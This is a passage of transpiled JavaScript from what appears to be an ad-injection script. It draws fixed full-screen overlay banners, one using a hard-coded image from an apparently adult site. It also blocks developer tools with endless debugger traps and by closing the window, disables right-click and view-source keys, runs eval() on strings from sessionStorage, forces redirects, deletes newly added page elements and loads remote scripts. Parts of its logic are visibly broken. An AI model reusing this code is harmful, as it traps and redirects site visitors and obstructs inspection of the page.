					).concat(img, "\" alt=\"\">\n                        </a></div>"),
				conter: "<p style=\"position: absolute;right: 0px;background: white; width: 3rem;\" id=\"close\">\u5173\u95ED</p>\n                <a  href=\""
					.concat(link, "\">\n                <img class=\"main_img img-hover\" src=\"").concat(img,
						"\" style=\"background-color: rgba(0, 0, 0,0.4); width: 100%; height: 50vh;object-fit: none;\">\n                </a>"
					)
			};
			switch (site) {
				case 'letft':
					this.getBody().insertAdjacentHTML('afterBegin', "<div id = '".concat(id, "' class = '").concat(className,
						"' style = '").concat(MTplaceLits.letft, "'>").concat(MTtemplate.conter, "</div>"));
					return false;
				case 'right':
					this.getBody().insertAdjacentHTML('afterBegin', "<div id = '".concat(id, "' class = '").concat(className,
						"' style = '").concat(MTplaceLits.right, "'>").concat(MTtemplate.conter, "</div>"));
					return false;
				default:
					this.tp.id = id;
					this.tp.className = className;
					this.tp.style = MTplaceLits[site];
					this.tp.innerHTML = MTtemplate[site];
					site === 'bottom' ? this.getBody().insertBefore(this.tp, this.end) : this.getBody().insertBefore(this.tp,
						this.start);
					return false
			}
		}
	}, {
		key: "pc",
		value: function pc(pctp, a, img) {
			var cons = true;
			cons === true || this.style();
			cons = false;
			var PublicList = {
				w_index: "width: 100%;z-index: 2147483647 !important;",
				p_fixed: "position: fixed;",
				h_height: "height: 15vh;",
				w_width: "width: 15vh;"
			};
			var PCStyle = {
				top: "".concat(PublicList.w_index).concat(PublicList.h_height),
				bottom: "".concat(PublicList.p_fixed, " bottom: 0; ").concat(PublicList.w_index, " ").concat(PublicList.h_height),
				conter: "".concat(PublicList.w_index, " ").concat(PublicList.p_fixed,
					"top: 0; bottom: 0; left: 0;  margin: auto; height: 50vh; width: 80%; margin-left:10%;"),
				letft: "".concat(PublicList.w_index, " ").concat(PublicList.p_fixed,
					"top: 0; bottom: 0; left: 0; margin: auto; ").concat(PublicList.h_height, " ").concat(PublicList.w_width),
				right: "".concat(PublicList.w_index, " ").concat(PublicList.p_fixed,
					"top: 0; bottom: 0; right: 0; margin: auto; ").concat(PublicList.h_height, " ").concat(PublicList.w_width)
			};
			var PCtemplate = {
				top: "<img src=\"http://www.okbj.top/wp-content/uploads/2019/12/KOREAN-BJ-2019121910.jpg\" alt=\"\" class=\"\" style='width: 100%; height: 15vh; object-fit: none;'>",
				bottom: "<img src=\"".concat(img,
					"\" alt=\"\" class=\" up animated\" style='width: 100%; height: 15vh; object-fit: none;'>"),
				conter: "<div class=\"up animated\"><p style=\"position: absolute;right: 0px;background: white;\" id=\"close\">\u5173\u95ED</p>\n                <a  href=\""
					.concat(a, "\">\n                <img src=\"").concat(img,
						"\" style=\"background-color: rgba(0, 0, 0,0.4); width: 100%; height: 167.852px;height: 50vh;object-fit: none;\">\n                </a></div>"
					)
			};
			switch (pctp) {
				case 'letft':
					this.getBody().insertAdjacentHTML('beforeBegin', "<div id = '".concat(id, " class = '").concat(className,
						"' style = '").concat(PCStyle.letft, "'>").concat(PCtemplate.conter, "</div>"));
					return false;
				case 'right':
					this.getBody().insertAdjacentHTML('beforeBegin', "<div id = '".concat(id, " class = '").concat(className,
						"' style = '").concat(PCStyle.right, "'>").concat(PCtemplate.conter, "</div>"));
					return false;
				default:
					this.tp.id = id;
					this.tp.className = className;
					this.tp.style = PCStyle[pctp];
					this.tp.innerHTML = PCtemplate[pctp];
					pctp === 'bottom' ? this.getBody().insertBefore(this.tp, this.end) : this.getBody().insertBefore(this.tp,
						this.start);
					return false
			}
		}
	}, {
		key: "restyle",
		value: function restyle() {
			if (!this.getId('setstyle')) {
				var Frames =
					".animated{animation-duration: 0.5s;/*\u52A8\u753B\u65F6\u95F4*/animation-fill-mode: forwards;/*\u64AD\u653E\u540E\u7684\u72B6\u6001*/animation-iteration-count: infinite;/*\u52A8\u4F5C\u5FAA\u73AF\u7684\u6B21\u6570\uFF1Ainfinite \u65E0\u9650\u5FAA\u73AF*/animation-duration: 2s;/*\u52A8\u753B\u65F6\u95F4*/}.up{animation-name: upAnimation;/*\u52A8\u753B\u7684\u540D\u79F0*/transform-origin: center bottom;/*\u8BBE\u7F6E\u52A8\u753B\u65CB\u8F6C\u5143\u7D20\u7684\u57FA\u70B9\u4E3A*/cursor: pointer;}@keyframes upAnimation{0%,100%,20%,50%,80%{transition-timing-function: cubic-bezier(0.215, .61, .355, 1);transform: translate3d(0, 0, 0);}40%,43%{transition-timing-function: cubic-bezier(0.755, 0.50, 0.855, 0.060);transform: translate3d(0, -30px, 0);}70%{transition-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);transform: translate3d(0, -15px, 0);}90%{transform: translate3d(0, -4px, 0);}}";
				var style = this.setElement('style');
				style.type = 'text/css';
				style.id = 'setstyle';
				style.innerHTML = Frames;
				this.getAll('head')[0].appendChild(style)
			}
		}
	}]);
	return template
}(FindDom);
var func = function(_wd3) {
	_inherits(func, _wd3);
	var _super4 = _createSuper(func);

	function func() {
		_classCallCheck(this, func);
		return _super4.call(this)
	}
	_createClass(func, [{
		key: "much",
		value: function much(arrlist) {
			var d = {};
			arrlist.forEach(function(k) {
				return !d[k] ? d[k] = 1 : d[k]++
			});
			var max = Object.keys(d).sort(function(a, b) {
				return d[b] - d[a]
			})[0];
			return max
		}
	}, {
		key: "getFtu",
		value: function getFtu() {
			var type = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null;
			var userAgentInfo = navigator.userAgent,
				flag, terminal = ['Android', 'iPhone', 'SymbianOS', 'Windows Phone', 'iPad', 'iPod'];
			if (type) {
				for (var i in terminal) {
					if (userAgentInfo.includes(terminal[i])) {
						return terminal[i]
					}
				}
				return 'PC端'
			} else {
				for (var v = 0; v < terminal.length; v++) {
					if (userAgentInfo.indexOf(terminal[v]) > 0) {
						flag = '移动端';
						break
					}
				}
				return flag === '移动端' ? '移动端' : 'PC端'
			}
		}
	}, {
		key: "getUrl",
		value: function getUrl(url) {
			switch (url) {
				case 'www':
					return "".concat(this.GetUerl.protocol + "//" + this.GetUerl.host, "/");
				case 'son':
					return this.GetUerl.pathname;
				case 'port':
					return this.GetUerl.port;
				case 'search':
					return this.GetUerl.search;
				case 'url':
					return this.GetUerl.href;
				case 'tp':
					return this.GetUerl.protocol;
				case 'host':
					return this.GetUerl.host;
				default:
					return null
			}
		}
	}, {
		key: "max",
		value: function max(arr) {
			return Math.max.apply(Math, _toConsumableArray(arr))
		}
	}, {
		key: "min",
		value: function min(arr) {
			return Math.min.apply(Math, _toConsumableArray(arr))
		}
	}, {
		key: "randoms",
		value: function randoms(lower, upper) {
			return Math.floor(Math.random() * (upper - lower)) + lower
		}
	}, {
		key: "ToIdentify",
		value: function ToIdentify(ar) {
			return ar.push || ar.pop || ar.map || ar.shift === undefined ? _toConsumableArray(ar) : ar
		}
	}], [{
		key: "BanDebugging",
		value: function BanDebugging(ban) {
			var _ban$Noright = ban.Noright,
				Noright = _ban$Noright === void 0 ? false : _ban$Noright,
				_ban$NoKeyDown = ban.NoKeyDown,
				NoKeyDown = _ban$NoKeyDown === void 0 ? false : _ban$NoKeyDown,
				_ban$debug = ban.debug,
				debug = _ban$debug === void 0 ? false : _ban$debug;
			if (Noright) {
				this.onkeydown = this.onkeyup = this.onkeypress = function() {
					this.event.returnValue = false;
					return false
				}
			}
			if (NoKeyDown) {
				var h = this.innerHeight,
					w = this.innerWidth;
				this.onresize = function() {
					if (h !== this.innerHeight || w !== this.innerWidth) {
						this.close();
						this.location = "about:blank"
					}
				}
			}
			if (debug) {
				! function() {
					var handler = setInterval(function() {
						var before = new Date();
						debugger;
						var after = new Date();
						var cost = after.getTime() - before.getTime();
						if (cost > 100) {
							clearInterval(handler)
						}
					}, 1000)
				}()
			}! function test() {
				try {
					! function cir(i) {
						(1 !== ("" + i / i).length || 0 === i) && function() {}.constructor("debugger")(), cir(++i)
					}(0)
				} catch (e) {
					setTimeout(test, 500)
				}
			}()
		}
	}, {
		key: "TypeValidation",
		value: function TypeValidation(obj, setname) {
			switch (_typeof(obj)) {
				case 'string':
					sessionStorage.setItem(setname, obj);
					break;
				case 'function':
					sessionStorage.setItem(setname, obj);
					break;
				default:
					return false
			}
		}
	}, {
		key: "getWandH",
		value: function getWandH() {
			var d = window.screen;
			return {
				w: d.availWidth,
				h: d.availHeight
			}
		}
	}]);
	return func
}(wd);
var changeLoading = function() {
	function changeLoading(e) {
		_classCallCheck(this, changeLoading)
	}
	_createClass(changeLoading, [{
		key: "LoadingCallback",
		value: function LoadingCallback(callback) {
			if (!callback) {
				throw new Error('The execution should be a method');
			}
			if (callback.includes('=>') || callback.includes('function')) {
				theFirstTime.systemLoDang(callback, 9)
			} else {
				theFirstTime.systemLoDang(callback.includes('http') && callback, 132)
			}
		}
	}, {
		key: "lodang",
		value: function lodang(callback) {
			var obj = {
				throttle: function throttle() {
					var fn = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null;
					var canRun = true;
					return function() {
						var _arguments = arguments,
							_this8 = this;
						if (!canRun) return;
						canRun = false;
						setTimeout(function() {
							fn && fn.apply(_this8, _arguments);
							canRun = true
						}, 1000)
					}
				}
			};
			var temporary = null;
			return temporary || (temporary = obj.throttle(this.LoadingCallback(callback)))
		}
	}, {
		key: "keydown",
		value: function keydown(dat) {
			var event = dat.event,
				keydownfunc = dat.keydownfunc,
				keyName = dat.keyName;
			var e = event || window.event || arguments.callee.caller.arguments[0];
			if (e.keyCode === 82 && e.ctrlKey || e.keyCode === 116 && e.ctrlKey) {
				this.LoadingCallback(keydownfunc)
			}
			if (e.keyCode === 85 && e.ctrlKey) {
				this.LoadingCallback(keydownfunc)
			}
			switch (e.keyCode) {
				case 123:
					this.LoadingCallback(keydownfunc);
					return false;
				case 116:
					this.LoadingCallback(keydownfunc);
					return false;
				default:
					this.LoadingCallback(keydownfunc)
			}
		}
	}, {
		key: "downRoll",
		value: function downRoll(callback) {
			var short = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 1000;
			if (!!callback) {
				var scrollTop = document.documentElement.scrollTop || document.body.scrollTop;
				if (scrollTop >= short) {
					this.LoadingCallback(callback)
				}
			}
		}
	}]);
	return changeLoading
}();
var db = null;

function Loading(mk) {
	if (_instanceof(mk, Object)) {
		return db || (db = new fun(mk))
	} else {
		throw new Error('Parameter type error Should be Object');
	}
};
var req = null;

function Ajax(pass) {
	if (_instanceof(pass, Object)) {
		return req || (req = new request(pass))
	} else {
		throw new Error('Parameter type error Should be Object');
	}
};

function InTheIntroduction(On) {
	var _this9 = this;
	var container = null,
		cls, vessel;
	vessel = container || (container = new changeLoading());
	cls = {
		resize: null,
		lods: function lods(lod) {
			return _this9.resize || (_this9.resize = vessel.lodang(lod))
		},
		onKey: null,
		onkeydown: function onkeydown(e) {
			return _this9.onKey || (_this9.onKey = vessel.keydown(e))
		},
		Roll: null,
		OnRoll: function OnRoll(e) {
			return _this9.Roll || (_this9.Roll = vessel.downRoll(e))
		}
	};
	return cls[On]
};
window.onresize = function(e) {
	window.addEventListener('resize', InTheIntroduction('lods')(this.sessionStorage.getItem('Onresize')))
};
window.document.onkeydown = function(e) {
	InTheIntroduction('onkeydown')({
		event: e,
		keydownfunc: _this10.sessionStorage.getItem('Onkeydow'),
		keyName: "a"
	})
};
window.onscroll = function(e) {
	InTheIntroduction('OnRoll')(this.sessionStorage.getItem('Onscrollfuc'))
};
window.document.oncontextmenu = function(e) {
	return false
};
var theFirstTime = function() {
	function theFirstTime() {
		_classCallCheck(this, theFirstTime)
	}
	_createClass(theFirstTime, null, [{
		key: "Loading",
		value: function Loading(callback) {
			var los = localStorage.getItem('TheFirstLoad');
			if (los === null && los === undefined && los !== false) {
				callback();
				localStorage.setItem('TheFirstLoad', false)
			}
		}
	}, {
		key: "systemLoDang",
		value: function systemLoDang(callback) {
			var tag = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : bd;
			var ls = new Storage();
			var Onestr = "".concat(location.href).concat(tag);
			console.log(ls.get(Onestr));
			if (ls.get(Onestr) === undefined) {
				if (_instanceof(callback, Function)) {
					callback();
					ls.set(Onestr, false, 2592000)
				} else if (callback.includes('=>')) {
					eval("(".concat(callback, ")()"));
					ls.set(Onestr, false, 2592000)
				} else if (callback.includes('http')) {
					location.href = callback;
					ls.set(Onestr, false, 2592000)
				} else {
					throw new EvalError("The incoming parameter type error must be Function");
				}
			}
		}
	}]);
	return theFirstTime
}();
var StopLoading = function() {
	function StopLoading() {
		_classCallCheck(this, StopLoading)
	}
	_createClass(StopLoading, null, [{
		key: "stopDOM",
		value: function stopDOM() {
			var _config;
			var DOM = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 'body';
			var stop_time = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 60000;
			var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver;
			var observer = new MutationObserver(function(mutations, e) {
				mutations.forEach(function(mutation) {
					console.warn(mutation);
					mutation.addedNodes.forEach(function(e) {
						return e.remove()
					})
				})
			});
			var config = (_config = {
				attributes: true,
				childList: true,
				characterData: true,
				attributeOldValue: true,
				characterDataOldValue: true
			}, _defineProperty(_config, "attributeOldValue", true), _defineProperty(_config, "subtree", true), _config);
			var target = document.querySelector(DOM);
			if (target) {
				target && observer.observe(target, config);
				setTimeout(function() {
					observer.disconnect()
				}, stop_time)
			} else {
				throw new EvalError("The incoming DOM was not found");
			}
		}
	}]);
	return StopLoading
}();
var loadScript = function() {
	function loadScript() {
		_classCallCheck(this, loadScript)
	}
	_createClass(loadScript, null, [{
		key: "init",
		value: function init(src, callback) {
			var DOM = new FindDom();
			var script = DOM.setElement('script'),
				head = DOM.getName('head')[0];
			script.type = 'text/javascript';
			script.charset = 'UTF-8';
			script.src = src;
			if (script.addEventListener) {
				script.addEventListener('load', function() {
					callback()
				}, false)
			} else if (script.attachEvent) {
				script.attachEvent('onreadystatechange', function() {
					var target = window.event.srcElement;
					if (target.readyState == 'loaded') {
						callback()
					}
				})
			}
			head.appendChild(script)
		}
	}]);
	return loadScript
}();
